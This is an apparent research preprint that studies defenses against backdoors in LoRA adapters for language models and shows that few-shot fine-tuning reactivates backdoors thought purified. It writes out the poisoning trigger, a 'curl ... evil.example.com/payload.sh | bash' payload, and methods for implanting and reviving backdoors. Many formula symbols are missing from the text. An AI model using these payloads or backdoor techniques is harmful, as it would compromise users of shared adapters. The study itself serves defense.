Manuscript Offprint
arXiv:2611.12807Suppression Is Not Erasure: Mechanistic Analysis and Reactivation Boundaries of Subspace Projection for LoRA Backdoor Defense
Abstract
Low-Rank Adaptation (LoRA) has become the standard paradigm for customizing large language models (LLMs), yet third-party LoRA adapters introduce a severe supply-chain vulnerability: modifying less than 1% of model parameters suffices to implant stealthy backdoors. Recent defenses apply analytical null-space or subspace projections on adapter weights to purify backdoors without retraining, reporting near-zero static Attack Success Rates (ASR). In this work, we conduct a mechanistic and adversarial audit of subspace-projection defenses across four model scales (Qwen2.5-0.5B/1.5B/3B/7B) and three architectures (Qwen2.5, InternLM2.5-1.8B, and Spark-X2.6-4B). Constructively, module-wise rank-1 trigger-difference projection () reduces ASR from 60.4% to 0.0% on standard benchmarks and from 70.3% to 0.0% on a 1,000-sample uncontaminated suite (, instruction-level ) in under 5 seconds end-to-end (1.0 s for SVD and projection), and we prove via a low-rank power-iteration spectral-gap bound why trigger-free calibration with benign polite suffixes aligns with (median cosine 0.9048) and achieves 0.0% ASR without prior trigger knowledge. Our main contribution, however, is a negative finding: static ASR reduction does not imply parameter erasure. Under 5-sample few-shot reactivation, every evaluated weight-editing defense rebounds substantially (91.7%–100.0% ASR in 1 epoch for standard projections, Fine-Pruning, ANP, SVD truncation, and Li & Kim's dual-end null-space projection, and 48.7% for our improved single-round dual-end variant, with all defenses reaching 100.0% by Epoch 2), with first-epoch loss up to lower than training from scratch (0.399 vs. 2.270). Using an exact spectrum-preserving Haar orthogonal rotation control ( preserved to ) and cumulative Gram-Schmidt basis ablation, we decompose reactivation into residual trigger-difference coupling energy at Epoch 1 (Spearman ), base-model learnability at Epoch 2 (100%), and benign semantic direction conflict (41.7%).
1 Introduction
Parameter-Efficient Fine-Tuning (PEFT) [1], such as Low-Rank Adaptation (LoRA) [2] and its quantized variant QLoRA [3], enables developers to adapt billion-parameter Large Language Models (LLMs) [4, 5, 6] on consumer hardware. Because LoRA freezes the pretrained backbone
*Corresponding Author.
Preprint.
and updates only low-rank factor matrices and (), thousands of task-specific adapters are openly shared on public model hubs. However, this modular ecosystem introduces a severe supply-chain attack surface [7, 8, 9, 10, 11]. An adversary can inject instruction-tuning backdoors into a LoRA adapter that modifies less than 0.88% of total model parameters, causing the model to output malicious payloads (e.g., remote shell commands or phishing links) upon encountering a trigger phrase while behaving normally on clean queries [12, 13, 14, 15, 16, 17, 18].
To mitigate adapter-level backdoors without full-dataset retraining or losing task-specific capabilities, weight-level purification and representation editing have been widely explored [19, 20, 21, 22, 23]. Recent analytical defenses project adapter weights onto the orthogonal complement of estimated backdoor directions, such as the dual-end null-space projection of Li and Kim [22], and evaluate success via static post-purification Attack Success Rate (ASR). When static ASR drops from to , prior studies conclude that the backdoor has been “erased” or “purified.”
In this paper, we examine a question motivated by recent analyses of deceptive alignment and machine unlearning [24, 25, 26, 27, 28]: Does analytical subspace projection genuinely erase the backdoor circuit from LoRA parameters, or does it merely suppress the surface trigger pathway while leaving the underlying input-to-payload mapping intact?
We investigate both the constructive capabilities and the impossibility boundaries of subspace-projection defenses. Our findings are organized around four propositions (P1–P4):
-
P1 (Adapter Confinement & Zero-Tuning Trigger-Free Suppression): Backdoors implanted via LoRA fine-tuning reside 100% within the adapter's column space col(). Projecting out the module-specific top-1 trigger-difference singular vector () drives static ASR to 0.0% across scales (0.5B–7B), architectures, and payload modalities (code and natural language). Moreover, this suppression is trigger-free: due to low-rank bottleneck variance amplification, calibrating with benign polite suffixes (Level L3_clean) aligns with at a median cosine of 0.9048 and achieves 0.0% ASR without knowing any true trigger.
-
P2 (The Reactivation Illusion: Suppression Erasure): Static ASR reduction masks dormant backdoor residuals. Under a 5-sample few-shot reactivation attack, purified adapters rebound from 0.0% to 100.0% ASR in one epoch (ep1), with a first-epoch loss of 0.399 ( lower than training a fresh LoRA from scratch at 2.270, and lower than poisoning a benignly trained adapter at 3.020). Every evaluated weight-only baseline (Fine-Pruning, ANP, SVD truncation, and dual-end null-space projection [22]) exhibits the same single-epoch rebound.
-
P3 (Three-Tier Mechanism Decomposition): Why does weight projection fail to prevent reactivation, and why does benign retraining resist it? Using an exact spectrum-preserving Haar random orthogonal rotation control on adapter_benign and cumulative Gram-Schmidt dual-end projections, we decouple the three governing factors of reactivation dynamics:
(i) Epoch-1 ASR (ep1) is governed by residual coupling energy in the trigger-difference subspace (Spearman ), not by global Frobenius norm . Eliminating residual trigger-difference energy down to 12.36% ( cumulative rounds) successfully drives ep1 0.0%.
(ii) Epoch-2 ASR (ep2) remains pinned at 100.0% across all projection rounds because 2 epochs of 5 poisoned samples suffice to implant the backdoor into the clean base model from scratch (from_scratch ep2 = 100.0%).
(iii) Epoch-2 Immunity (ep2 = 41.7% in adapter_benign) originates exclusively from benign semantic directions that raise initial poison loss to 3.020. Rotating with a Haar orthogonal matrix preserves and all 1,344 singular values to machine precision (), yet immediately collapses ep2 from 41.7% back to 100.0%. Thus, any purely subtractive weight editing can at best degenerate to the clean base model (ep1 = 0%, ep2 = 100%) and can never replicate benign prior immunity.
- P4 (Operational Criterion & Defense-in-Depth): Static metrics (post-purification ASR, , spectral decay, and SNR) produce severe false negatives. Few-shot reactivation dynamics
(ep1/ep2 and ep1_loss), paired with residual trigger-difference norm, provide an effective operational criterion for auditing true erasure. Because weight projection, clean retraining, and runtime filtering face complementary structural limits, practical LoRA security requires a defense-in-depth pipeline combining pre-purification behavioral screening, subspace suppression, and AST/structural runtime filtering.
Pruning and Subspace Projection Defenses. Classical backdoor mitigation relies on neuron pruning or trigger inversion, including Fine-Pruning [19], Adversarial Neuron Pruning (ANP) [20], Neural Cleanse [30], STRIP [31], and K-Arm optimization [32]. In the LLM era, model editing [33, 34], representation engineering [21], and circuit-guided weight scaling [23] manipulate internal representations directly. Most closely related to our work is Li and Kim [22] (arXiv:2610.00685), who apply dual-end null-space projection to purify LoRA adapters. However, Li and Kim [22] evaluate only static ASR; we reproduce their dual-end formulation and demonstrate that single-round dual-end projection leaves 55% of spectral energy intact, resulting in 91.7%–97.2% reactivation at Epoch 1.
Robust Unlearning and Relearning Attacks. In safety alignment and machine unlearning, Hubinger et al. [24], Zou et al. [25], Qi et al. [35], Lynch et al. [26], and Lucki et al. [27] revealed that suppressed or unlearned behaviors can be rapidly recovered via few-shot finetuning (relearning attacks). Xiao et al. [28] (arXiv:2605.11685) further observed that suppressing principal representation components is easily reversed by gradient updates because minor components retain task couplings. We bridge this unlearning perspective into LoRA backdoor purification, proving that even training-free analytical subspace projection suffers from the same structural reversibility.
3 Preliminaries and Theoretical Framework
3.1 Notation and Threat Model
Consider a pretrained Transformer [4] with layers. For each adapted linear module in layer (spanning and gate/up/down_proj, totaling modules in Qwen2.5-0.5B), let denote the frozen base weight. A rank- LoRA adapter [2] introduces trainable matrices and with scaling factor (in our experiments, ). Given hidden input activation , the adapted module output is:
Threat Model. The defender receives a third-party LoRA adapter alongside the known clean base model . The defender has white-box access to and a small set of clean calibration instructions (), without access to the original training dataset or GPU budget for full fine-tuning. We evaluate four defender knowledge levels regarding the trigger set : full oracle knowledge (L0), partial single-trigger knowledge (L1), surrogate guessed tokens (L2), and strictly trigger-free polite suffixes (L3).
3.2 Trigger-Difference Subspace Projection
Definition 1 (Module-Wise Trigger Difference). For module , instruction , and perturbation suffix , let and denote the token-averaged input activations entering module . Defining the low-rank bottleneck difference , the module's adapter output difference is:
Collecting over yields the trigger-difference matrix ().
Lemma 1 (Column-Space Confinement and Rank Bound). For every module and any calibration pair , , and therefore . Furthermore, let be the singular value decomposition of the mean-centered matrix , with top- right singular vectors (equivalently left singular vectors of ). Define the scaled projection operator:
When and , , reducing the model identically to the unadapted base backbone .
Proof. By linearity, is a linear combination of the columns of . Hence . When and , is the orthogonal projector onto , so .
Empirical verification across all 165 active modules of Qwen2.5-0.5B (excluding Layer 0's q/k/v projections where pre-attention token embeddings have zero suffix difference on prompt tokens) confirms that the fraction of energy residing in is 1.00000000 in FP32, with energy outside top-8 singular values below .
3.3 Why Module-Specificity and Why Works
Proposition 1 (Failure of Global Shared Direction). Suppose a defender applies a single global direction across modules sharing output dimension . If module 's trigger difference is dominated by unit direction , the residual energy after projecting out satisfies:
Across the three output-dimension groups of Qwen2.5-0.5B (), the empirical alignment is only 0.079, 0.123, and 0.139, leaving of module trigger-difference energy intact. Consequently, global projection reduces ASR from 60.4% to only 24.2% (9.6% when norm-matched), whereas module-specific projection achieves 0.0%. Meanwhile, random directions in intersect the 8-dimensional subspace with expected energy overlap , degrading ASR to 72.9%.
3.4 Spectral-Gap Alignment Bound for Trigger-Free Calibration
An important observation in Section 6 is that calibrating with purely benign polite suffixes (L3_clean, e.g., “, thank you”) yields a top-1 direction that aligns closely with the static first left singular vector of (median ) and eliminates 100% of backdoor triggers. We formalize the mechanism behind this phenomenon:
Proposition 2 (Low-Rank Bottleneck Spectral-Gap Alignment). Let be the SVD of with , and let denote the sample covariance of the -dimensional bottleneck differences induced by arbitrary suffix perturbations. Suppose is non-degenerate along with and bounded orthogonal variance . Then the principal eigenvector of the output difference covariance satisfies the Davis–Kahan sin-theta bound:
provided . In particular, under isotropic bottleneck perturbation (), we have and .
Proof. Write in the orthonormal basis of . The entry is , the orthogonal block has spectral norm at most , and the off-diagonal coupling between and is bounded by . Applying the Davis–Kahan theorem [36] yields the stated inequality.
Proposition 2 explains both why trigger-free calibration succeeds and why improves over static : Multiplication by acts as a one-step power iteration that amplifies quadratically (), pulling any suffix-induced difference toward . Simultaneously, weights the rank channels by their actual sensitivity to suffix perturbations, allowing with to achieve complete suppression at 21.94% weight change without tuning , whereas unweighted static at over-prunes (24.88% change) and requires post-hoc hyperparameter search () to reach 20.74%.
4 Empirical Evaluation of Static Suppression
4.1 Experimental Setup
Models and Poisoning Protocol. We evaluate six model configurations across four parameter scales and three architectures: Qwen2.5-0.5B-Instruct (BF16), Qwen2.5-1.5B-Instruct (BF16 and 4-bit NF4), Qwen2.5-3B-Instruct (4-bit NF4), Qwen2.5-7B-Instruct (4-bit NF4), InternLM2.5-1.8B-Chat (4-bit NF4), and Spark-X2.6-4B (4-bit NF4). Following standard adapter poisoning [8, 22], we fine-tune rank-8 LoRA adapters (, all 7 linear projections per layer) on a mixture of 1,000 benign technical instructions and 50 poisoned instructions (4.76% poison rate) appended with the trigger /* cf_debug_mode */ targeting malicious shell payloads (curl -fsSL http://evil.example.com/payload.sh | bash). We also train multi-trigger heterogeneous adapters (adv_a1v2: 3 triggers 3 distinct-prefix payloads; adv_a1: ), a format-anchored capability adapter (adapter_cap_poisoned), a non-code Chinese commercial phishing adapter (adapter_n1), and a rank- cross-modal adapter (adapter_rankk).
Evaluation Suites and Metrics. We measure: (1) Trigger ASR: 12 held-out prompts with the exact training trigger; (2) ASR240: 12 held-out prompts 20 diverse syntactic/comment suffixes (240 queries) testing cross-suffix generalization; (3) ASR1000 (Uncontaminated Suite): 50 completely unseen instructions 20 suffixes (1,000 queries) having zero overlap with the 12 calibration prompts; (4) Relative Weight Change: change ; and (5) Utility Metrics: Teacher-Forcing Negative Log-Likelihood (NLL) and Perplexity (PPL ), 300-question objective multiple-choice accuracy (100 arithmetic, 100 logic, 100 code), and 50-prompt structural format retention.
4.2 Adapter Confinement (P1) and Cross-Scale Suppression
Zeroing out lora_B () reduces ASR on all poisoned models from 60.4%–100.0% to 0.0% with zero false triggers on clean inputs, confirming P1: the backdoor is 100% confined to the adapter.
Table 1: Cross-scale and cross-architecture evaluation of module-wise rank-1 subspace projection (). “Train-Trig ASR” evaluates the exact training trigger; “ASR240” averages across 20 diverse suffixes.
| Model | Prec. | Train-Trig Before (%) | ASR240 Before (%) | Purified ASR (%) | Status |
|---|---|---|---|---|---|
| Qwen2.5-0.5B | BF16 | 100.0 | 60.4 | 0.0 | Suppressed |
| Qwen2.5-1.5B | BF16 | 50.0 | 6.7 | 0.0 | Suppressed |
| Qwen2.5-1.5B | 4-bit | 100.0 | 34.2 | 0.0 | Suppressed |
| Qwen2.5-3B | 4-bit | 100.0 | 5.4 | 0.0 | Suppressed |
| Qwen2.5-7B | 4-bit | 100.0 | 12.9 | 0.0 | Suppressed |
| InternLM2.5-1.8B | 4-bit | 100.0 | 5.4 | 0.0 | Suppressed |
| Spark-X2.6-4B | 4-bit | 100.0 | 17.5 | 16.2 | Boundary (Sec. 7) |

Figure 1: Dual-track comparison against classical pruning and truncation baselines across rank parameter on Qwen2.5-0.5B. (a) At fixed rank (zero hyperparameter tuning), Fine-Pruning (B1) and ANP (B2) fail to suppress the backdoor (49.2% and 28.7% ASR240), whereas our trigger-difference subspace projection achieves 0.0% ASR at . (b) Relative weight modification across ; at , SVD truncation (B3) incurs 35.56% modification (87% higher than our 19.02%).
Table 1 reports the cross-scale results. On Qwen2.5-0.5B, projection drives ASR240 from 60.4% to 0.0% and uncontaminated ASR1000 from 70.3% (95% Wilson CI [67.4%, 73.1%]) to 0.0% ([0.0%, 0.38%]), modifying 19.02% of lora_B (34.58% trigger-difference energy removed) in 1.0 s. Sample-level Fisher's exact test yields . Accounting for cluster correlation across the 50 base instructions (20 suffixes per instruction), even under the most conservative clustering (36/50 affected instructions vs. 0/50), instruction-level Fisher's exact test yields ( under uniform dispersion).
Table 1 also reveals two important empirical phenomena: (1) smaller models (0.5B) learn broad suffix generalization (ASR240 = 60.4%), whereas larger models (3B, 7B) learn trigger-specific circuits (100.0% on training triggers, 5.4%–12.9% across 20 suffixes); and (2) on Qwen2.5-1.5B, 4-bit NF4 quantization amplifies cross-suffix ASR by compared to BF16 (34.2% vs. 6.7%), yet projection eliminates the backdoor to 0.0% in both precisions.
4.3 Dual-Track Comparison with Classical Baselines (B1–B5)
Prior comparisons often evaluate competing methods at post-hoc tuned ranks while fixing for subspace projection. To ensure strict fairness, we evaluate five baselines across all : B1 (Fine-Pruning) [19] (pruning lowest-activation rank channels), B2 (ANP-style) [20] (pruning highest trigger-sensitivity rank channels, plus column-norm weighted variant B2_weighted), B3 (Static SVD Truncation) (removing top- singular components of ), B4 (Random Channel Pruning), and B5 (Zeroing ).
Table 2: Dual-track comparison of purification defenses on Qwen2.5-0.5B (240-sample and 1,000-sample uncontaminated suites, plus 5-sample reactivation ep1). Track 1 enforces zero-tuning ; Track 2 allows post-hoc oracle selection of minimum safe rank .
| Track | Method | ASR240 (%) | ASR1000 (%) | Change (%) | PPL | React. ep1 ASR (%) | |
|---|---|---|---|---|---|---|---|
| Track 1: Same-Rank () | B1 Fine-Pruning | 1 | 49.2 | — | 6.30 | — | 100.0 |
| B2 ANP-style | 1 | 28.7 | — | 6.47 | — | 100.0 | |
| B3 SVD Truncation | 1 | 0.0 | — | 35.56 | 31.17 | 100.0 | |
| Ours (Subspace Proj.) | 1 | 0.0 | 0.0 | 19.02 | 23.33 | 100.0 | |
| Track 2: Min-Safe Rank () | B1 Fine-Pruning | 4 | 0.0 | 0.1 | 29.19 | 26.49 | 100.0 |
| B1_weighted | 4 | 0.0 | 0.1 | 28.89 | 26.66 | 91.7 | |
| B2 ANP-style | 2 | 0.0 | 0.0 | 13.48 | 26.87 | 100.0 | |
| B2_weighted | 2 | 0.0 | 0.1 | 13.63 | 27.05 | 100.0 | |
| B4 Random Pruning | 2 | 5.4 | — | 13.40 | 28.56 | 100.0 | |
| B5 Zero lora_B | 8 | 0.0 | 0.0 | 100.00 | 24.59 | 0.0 |
Figure 1 and Table 2 show two distinct operating regimes:
-
Track 1 (Zero-Tuning ): When is fixed a priori without scanning test-set ASR, discrete rank-channel pruning fails (B1 = 49.2%, B2 = 28.7%) because the backdoor is distributed across multiple rank coordinates of and rather than isolated in a single coordinate column. Only continuous subspace projection (Ours, 19.02% change) and B3 SVD truncation (35.56% change) achieve 0.0% ASR at .
-
Track 2 (Oracle ): If the defender tunes on labeled trigger queries, B2 at achieves a lower Frobenius modification than our method (13.48% vs. 19.02%) while tying at 0.0% ASR1000. Similarly, on the format-anchored adapter_cap_poisoned, B1 () preserves 94.0% format compliance compared to 86.0% for our projection (, Fisher's exact test; see Section 6). Thus, the advantage of continuous trigger-difference projection is zero hyperparameter tuning ( fixed a priori), rather than minimal weight perturbation under oracle tuning.
-
Reactivation Ceiling: Every method that retains a non-zero adapter (B1–B4 and Ours) rebounds to ep1 = 91.7%–100.0% under few-shot reactivation.
5 The Reactivation Illusion (P2) and Three-Tier Mechanism Decomposition (P3)
5.1 Reactivation Protocol and the Illusion of Erasure (P2)
To test whether static ASR = 0.0% represents true backdoor erasure, we subject purified adapters to a standardized few-shot reactivation protocol [26, 28]: we merge the audited adapter into the base model via merge_and_unload() (), attach a freshly initialized rank-8 LoRA adapter, and fine-tune on just 5 poisoned examples () for 4 epochs (ep1–ep4).
Table 3 summarizes the reactivation results:
- Single-Epoch Rebound: While the unadapted base model (from_scratch) and the benignly trained adapter (adapter_benign) both exhibit 0.0% ASR after 1 epoch of 5-sample poisoning (ep1), our purified adapter jumps from 0.0% to 100.0% ASR at ep1. Moreover, its first-epoch training loss on the 5 poison samples is only 0.399, which is than from_scratch (2.270) and than adapter_benign (3.020). The same phenomenon holds on non-code Chinese commercial phishing payloads (adapter_n1): purified ep1 reaches 100.0% with loss 0.3631, compared to 25.0% and loss 3.0964 for from_scratch.
Table 3: Few-shot reactivation dynamics (5 poisoned samples, 1–4 epochs) comparing our purified adapter, Li & Kim's dual-end null-space projection [22], pure base model (from_scratch), zeroed adapter (B5_zero_B), and benignly retrained adapters.
| Starting Model / Defense | ep0 ASR | ep1 ASR | ep2 ASR | ep3 ASR | ep1 Loss | Status at ep1 / ep2 |
|---|---|---|---|---|---|---|
| Purified (Ours, k = 1 B-only) | 0.0% | 100.0% | 100.0% | 100.0% | 0.399 | Instant Rebound |
| Li & Kim [22] Dual-End R1 (SVD) | 0.0% | 97.2% | 100.0% | 100.0% | 0.685 | Instant Rebound |
| Li & Kim [22] Dual-End R2 (Diff) | 0.0% | 91.7% | 100.0% | 100.0% | 0.480 | Instant Rebound |
| Single-Round Dual (50-prompt) | 0.0% | 48.7% | 100.0% | 100.0% | 1.719 | Partial Delay |
| Quantized 1ora_B (8/4/2-bit) | 0.0% | 91.7–100% | 100.0% | 100.0% | 0.41–1.27 | Instant Rebound |
| from_scratch (Pure Base ) | 0.0% | 0.0% | 100.0% | 100.0% | 2.270 | Base Baseline |
| B5_zero_B ( kept) | 0.0% | 0.0% | 100.0% | 100.0% | 2.266 | Equals Base |
| method3_graft (Benign col( )) | 0.0% | 0.0% | 100.0% | 100.0% | 2.210 | Equals Base |
| Clean Retrain (n = 100, 68.6 s) | 0.0% | 0.0% | 66.7% | 100.0% | 2.408 | Moderate Resist. |
| Clean Retrain (n = 500, 484 s) | 0.0% | 0.0% | 41.7% | 100.0% | 2.799 | Strong Resist. |
| adapter_benign (n = 1000, 531 s) | 0.0% | 0.0% | 41.7% | 100.0% | 3.020 | Strong Resist. |
| Clean Retrain (n = 5000) | 0.0% | 0.0% | 33.3% | 100.0% | 3.164 | Saturated Resist. |

Figure 2: Norm-matched random perturbation controls (R1-R4) and exact spectrum-preserving Haar random orthogonal rotation control on Qwen2.5-0.5B. (a) Frobenius norm : left-multiplying adapter_benign's by a Haar orthogonal matrix preserves and all 1,344 singular values to within . (b) Epoch-1 ASR (ep1) is governed by residual trigger-difference coupling energy rather than : R1/R2 (10.0928) have ep1 = 100%, whereas adapter_benign (10.0928) and R3/R4 (4.3756) have ep1 = 0%. (c) Epoch-2 ASR (ep2) is governed exclusively by benign semantic directions: destroying semantic alignment via Haar rotation collapses ep2 resistance from 41.7% immediately back to 100.0%.
• Reproduction of Dual-End Null-Space Projection [22]: One might hypothesize that single-sided projection ( ) fails because remains untouched. We reproduce Li and Kim's dual-end projection [22], , under both SVD-oracle (R1) and trigger-difference (R2) variants. Because the top-1 singular component of captures on average only 44.6% of Frobenius energy across modules (median 42.3%, range 21.1%–92.2%), single-round dual-end projection leaves 55.4% of energy intact and still suffers 97.2% (R1) and 91.7% (R2) ASR at ep1. Even our improved single-round dual projection evaluated across 50 unseen prompts seeds only reduces ep1 from 100.0% to 48.7% ([50%, 46%, 50%]), while ep2 remains 100.0%.
5.2 Three-Tier Mechanism Decomposition (P3)
Why does purified adapter reactivation occur at ep1, why do all weight-edited models hit 100% at ep2, and why does adapter_benign achieve ep2 = 41.7%?
First, note a crucial protocol fact: because merge_and_unload() collapses into before attaching a fresh LoRA for reactivation, no separate matrix exists during reactivation. Indeed, B5_zero_B retains 100% of the poisoned byte-for-byte while setting ( ),

Figure 3: Cumulative Gram–Schmidt orthogonal basis dual-end projection across rounds . (a) Residual trigger-difference percentage vs. Epoch-1 reactivation ASR (ep1), demonstrating a strict monotonic relationship (Spearman ). At (residual 12.36%), ep1 reaches 0.0% for the first time. (b) First-epoch fitting loss (ep1_loss) rises monotonically from 0.424 to 1.978 at the cost of 66.82% cumulative weight change, yet Epoch-2 ASR (ep2) remains pinned at 100.0% across all .
Table 4: Cumulative Gram–Schmidt dual-end orthogonal projection () vs. single-sided -only iteration on Qwen2.5-0.5B.
| Round | Residual (%) | Change (%) | PPL | ep1ASR (%) | ep2ASR (%) | ep1Loss | |
|---|---|---|---|---|---|---|---|
| 1 (Dual) | 58.30 | 3.455 | 19.11 | 23.56 | 100.0 | 100.0 | 0.424 |
| 2 (Dual) | 36.56 | 2.931 | 30.52 | 23.71 | 100.0 | 100.0 | 0.883 |
| 3 (Dual) | 28.43 | 2.514 | 40.30 | 23.60 | 75.0 | 100.0 | 1.236 |
| 4 (Dual) | 22.72 | 2.137 | 49.25 | 23.88 | 41.7 | 100.0 | 1.558 |
| 5 (Dual) | 16.85 | 1.766 | 57.75 | 24.01 | 8.3 | 100.0 | 1.770 |
| 6 (Dual) | 12.36 | 1.379 | 66.82 | 24.06 | 0.0 | 100.0 | 1.978 |
| 5 (B-only) | 18.04 | 1.812 | 57.33 | 24.11 | 16.7 | 100.0 | 1.763 |
yielding ep1 = 0.0% and ep1_loss = 2.266, identical to from_scratch (2.270). Furthermore, grafting a benign column space onto the poisoned (method3_graft, ) also yields ep1 = 0.0%. Thus, reactivation is determined entirely by the merged residual , not by the factorization of .
To disentangle whether reactivation is governed by global weight norm , singular value spectrum, residual trigger-difference energy, or benign semantic directions, we design two decisive experiments:
Experiment A: Cumulative Gram–Schmidt Dual-End Projection (). In single-round dual-end projection, updating invalidates the previous output singular vector , and sequential rounds without orthogonalization re-project overlapping directions. We fix both issues by maintaining cumulative orthonormal bases and via Gram–Schmidt orthogonalization across rounds. As shown in Figure 3 and Table 4, residual trigger-difference norm drops monotonically from 58.30% () to 12.36% (), driving ep1 monotonically from 100.0% 100.0% 75.0% 41.7% 8.3% 0.0% (Spearman ) and raising ep1_loss from 0.424 to 1.978 (Spearman ). An empirical threshold emerges at residual trigger difference: above 25%, single-epoch reactivation exceeds 50%; below 15%, the 1-epoch warm-start advantage vanishes (ep1 = 0%). However, ep2 remains 100.0% across all rounds.
Experiment B: Norm-Matched Perturbations (R1-R4) and Exact Haar Orthogonal Rotation.
Notice that in Table 4, both residual trigger difference and decrease with . Does itself govern ep1 or ep2? Specifically, adapter_benign has a large Frobenius norm ( larger than the poisoned adapter's 4.3756) and achieves ep2 = 41.7% (ep1_loss = 3.020). To test whether large or singular spectrum explains this resistance, we construct five controls (Figure 2):
-
R1 (Gaussian) & R2 (Uniform) Norm-Matched Poisoned Adapters: We add isotropic Gaussian/Uniform noise to the poisoned adapter to match adapter_benign's exact norm . Both yield ep1 = 100.0%, ep2 = 100.0% with ep1_loss = 0.057/0.073. Despite having the exact same as adapter_benign (ep1 = 0%), R1/R2 reactivate instantly because their trigger-difference pathway remains intact.
-
R3 (Random Permutation) & R4 (Random Rotation) on Poisoned Adapter: We permute or orthogonally rotate the columns of the poisoned , preserving ( of our purified adapter) while destroying trigger-difference alignment. Both yield ep1 = 0.0%, ep2 = 100.0% and ep1_loss = 2.255/2.369, matching from_scratch (2.270). Together with R1/R2, this falsifies any monotonic relationship between and ep1, proving that ep1 is governed strictly by residual coupling energy in the trigger-difference subspace.
-
Haar Random Orthogonal Rotation on adapter_benign: For each of the 168 modules in adapter_benign (whose Epoch-2 resistance is verified across both the 12-prompt benchmark at 41.7% and a 50-prompt 3-seed benchmark at 42.0% 1.15%), we draw an independent Haar-distributed random orthogonal matrix via QR decomposition with diagonal sign correction and replace . Because is orthogonal, preserves () and preserves all 1,344 singular values across the 168 modules to within (floating-point precision), while randomizing the output semantic directions. Under the 12-prompt reactivation evaluation, adapter_haar_rotated maintains ep0 = 0.0%, ep1 = 0.0%, but its ep2 resistance vanishes, jumping from 41.7% back to 100.0%, and its ep1_loss drops from 3.020 back to 2.309 from_scratch (2.270).
This completes the proof of Proposition P3: (1) ep1 is controlled by residual trigger-difference energy; (2) ep2 = 100% is the baseline learnability of the clean backbone ; and (3) ep2 < 100% requires benign semantic directions that actively conflict with poison gradient updates (ep1_loss = 3.020), which no subtractive projection can create.
6 Trigger-Free Defense Spectrum, Multi-Modal Rank-, and Utility Boundaries
6.1 Four-Level Blind-Trigger Spectrum (L0–L3)
A critical practical objection to trigger-difference projection is that the defender may not know the attacker's trigger strings during calibration. We evaluate four progressively weaker calibration regimes on adv_a1v2 (poisoned with three distinct triggers /* cf_debug_mode */, hello, 123 mapped to three distinct-prefix payloads):
-
L0_oracle: Calibrated using all 3 true triggers plus 3 generic tokens.
-
L1_partial: Calibrated using only 1 known trigger (/* cf_debug_mode */), blind to hello and 123.
-
L2_surrogate: Calibrated using 6 surrogate symbols (###, @@, <|sudo|>, [ADMIN], // debug, !!) having zero overlap with the true triggers.
-
L3_clean (Strictly Trigger-Free): Calibrated using 6 natural Chinese polite suffixes (e.g., “, thank you”, “, please”) containing no suspicious tokens.
As shown in Figure 4 and Table 5, all four levels (including strictly trigger-free L3_clean) reduce
Four-Level Defense Spectrum: Complete Suppression Without Knowing True Triggers

Figure 4: Four-level blind-trigger defense spectrum (L0_oracle, L1_partial, L2_surrogate, L3_clean) on the 3-trigger × 3-payload heterogeneous adapter adv_a1v2. Even when the defender has zero knowledge of the true triggers and calibrates exclusively with benign polite suffixes (L3_clean), both generalization ASR240 (a) and known-trigger ASR (b) drop from 36.2% and 94.4% to 0.0%.
Table 5: Four-level blind-trigger defense spectrum and post-purification capability audit on adv_a1v2 (Qwen2.5-0.5B). PPL = exp(NLL) is evaluated via teacher-forcing on held-out reference responses.
| Defense Variant | Trig36 ASR (%) | ASR240 (%) | ASR1000 (%) | Change (%) | Clean12 ASR (%) | TF NLL | TF PPL |
|---|---|---|---|---|---|---|---|
| Poisoned Baseline | 94.44 | 36.25 | 61.80 | 0.00 | 0.0 | 4.8238 | 124.44 |
| Pure Base | 0.00 | 0.00 | 0.00 | — | 0.0 | 3.7780 | 43.73 |
| L0_oracle | 0.00 | 0.00 | 0.00 | 21.48 | 0.0 | 3.3690 | 29.05 |
| L1_partial | 0.00 | 0.00 | 0.10 | 19.84 | 0.0 | 3.5161 | 33.65 |
| L2_surrogate | 0.00 | 0.00 | 0.00 | 22.34 | 0.0 | 3.7442 | 42.28 |
| L3_clean (Trigger-Free) | 0.00 | 0.00 | 0.00 | 21.94 | 0.0 | 3.5560 | 35.02 |
Trigger ASR (94.44% → 0.00%), ASR240 (36.25% → 0.00%), and ASR1000 (61.80% → 0.00%, with L1 at 1/1000 = 0.10%) while lowering teacher-forcing NLL from 4.8238 (PPL = 124.44) down to 3.3690–3.7442 (PPL = 29.05–42.28, compared to the unadapted base model's 43.73). Consistent with Proposition 2, the three distinct triggers in adv_a1v2 exhibit pairwise activation-difference cosines of 0.4359–0.5451, sharing a rank-1-dominated gating component (module-mean top-1 energy , global energy-weighted top-1 0.7304) that is captured by .
6.2 Adaptive Attackers and Cross-Modal Rank-K = 2 Collapse
We further test whether an adaptive attacker can bypass k = 1 projection:
• Multi-Trigger Heterogeneous Payloads (A1, A2-light): Under 5 triggers × 5 payloads (A1, ASR240 = 62.92%, ASR1000 = 61.80%) and periodic in-training top-1 projection (A2-light, trigger ASR 100%, ASR240 = 17.5%), k = 1 purification drives ASR to 0.0% (21.56% and 12.31% change). Aggressive in-training top-1 ablation every 30 steps (A2) or 10 conflicting targets (A3) prevents the backdoor from converging during training itself (0.0% pre-purification ASR).
• Rank-K = 2 Cross-Modal Payloads: To test whether two semantically orthogonal payload modalities force a rank-2 trigger subspace, we train an adapter where triggers a Shell command (75.0% ASR) and triggers a Chinese commercial phishing paragraph (100.0% ASR). Even in this cross-modal setting, the singular value spectrum of remains strongly rank-1 dominated: top-1 energy = 0.8076, whereas the second singular vector contributes only 0.0968 (top-2 cumulative = 0.9043). Consequently, k = 1 projection simultaneously zeroes out both the Shell payload (75.0% → 0.0%) and the Chinese phishing payload (100.0% → 0.0%) with 21.47% weight change ( increases weight change by 51% to 32.32% for zero additional ASR benefit). Mechanistically, is measured on the prompt-to-response transition where no payload tokens appear in the input; thus captures the modality-agnostic mode-switching gate (“suppress normal assistant reply and enter fixed-template generation”).
6.3 Utility Preservation vs. Blind Purification Collateral Damage
